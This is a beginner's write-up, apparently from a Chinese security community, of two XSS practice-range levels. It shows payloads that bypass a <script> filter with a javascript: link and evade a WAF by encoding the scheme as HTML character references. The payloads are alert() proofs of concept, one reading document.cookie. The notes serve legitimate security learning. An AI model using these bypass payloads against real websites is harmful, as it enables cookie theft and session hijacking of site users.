本站新手向 XSS 靶场通关记录

XSS 过滤绕过靶场笔记

一、简单的标签名绕过

1.1 靶场分析

查看靶场描述,发现 <script> 标签被过滤:

<!-- 被过滤的 payload -->
<script>alert(1)</script>

file-20260421235911544.png

1.2 绕过思路

由于 <script> 被过滤,改用 <a> 标签,在 href 属性中嵌入 javascript: 伪协议进行绕过。

Payload:

<a href="javascript:alert(document.cookie)">点击</a>

file-20260422000701759.png

1.3 获取 Flag

在页面中触发后,按 F12 打开开发者工具,即可找到隐藏 flag。

file-20260422000743123.png

file-20260422000919948.png


二、WAF 拦截与编码绕过

2.1 问题描述

该关卡存在 WAF 拦截,需要寻找过滤规则并构造绕过 payload。

2.2 探测过滤规则

步骤 1:基础测试

123

前端正常显示,无过滤。

file-20260422001622236.png

步骤 2:测试 HTML 标签

<a>test</a>

发现 <a> 标签未被过滤,可直接渲染。

file-20260422002249163.png

步骤 3:测试伪协议

<a href="javascript:alert(1)">click</a>

结果: 被 WAF 拦截。

file-20260422002716045.png

步骤 4:验证 data 协议

<a href="data:text/html,<script>alert(1)</script>">click</a>

file-20260422005159238.png

步骤 5:测试无害链接

<a href="https://www.baidu.com">click</a>

结果: 可正常点击跳转。

file-20260422005007597.png

推测: WAF 可能拦截了 javascript:data: 等危险伪协议。

2.3 Unicode 编码绕过

尝试对伪协议进行 Unicode 编码。

步骤 1:无害编码测试

<a href="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#98;&#97;&#105;&#100;&#117;&#46;&#99;&#111;&#109;">click</a>

(即 https://www.baidu.com 的 Unicode 编码)

结果: 成功解析并跳转,说明 Unicode 编码可正常解析。

file-20260422005922543.png

步骤 2:构造攻击 Payload
javascript: 进行 Unicode 编码:

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">click</a>

结果: 成功绕过 WAF,触发 XSS。

file-20260422010135791.png

2.4 获取 Flag

F12 打开开发者工具,在页面源码中检索 flag 字段,提交验证正确。

file-20260422010246871.png

file-20260422010321340.png

PS:第一次在社区发学习笔记,排版和内容都比较粗糙。如果有什么知识不对的地方,麻烦大佬们多多指正!

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。